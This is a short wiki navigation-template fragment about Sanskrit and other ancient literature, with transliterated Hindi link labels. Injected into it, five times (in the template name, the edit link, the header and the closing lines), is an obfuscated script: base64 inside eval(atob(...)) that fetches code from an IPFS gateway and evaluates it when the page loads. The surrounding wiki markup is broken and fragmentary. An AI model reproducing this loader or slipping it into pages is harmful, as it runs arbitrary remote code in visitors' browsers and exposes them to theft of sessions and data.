[[Template:sanskrit sahity2<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:sanskrit sahity2<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanskrit evan any prachin sahity |
---|
| sanskrit sahity | | | any | |
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>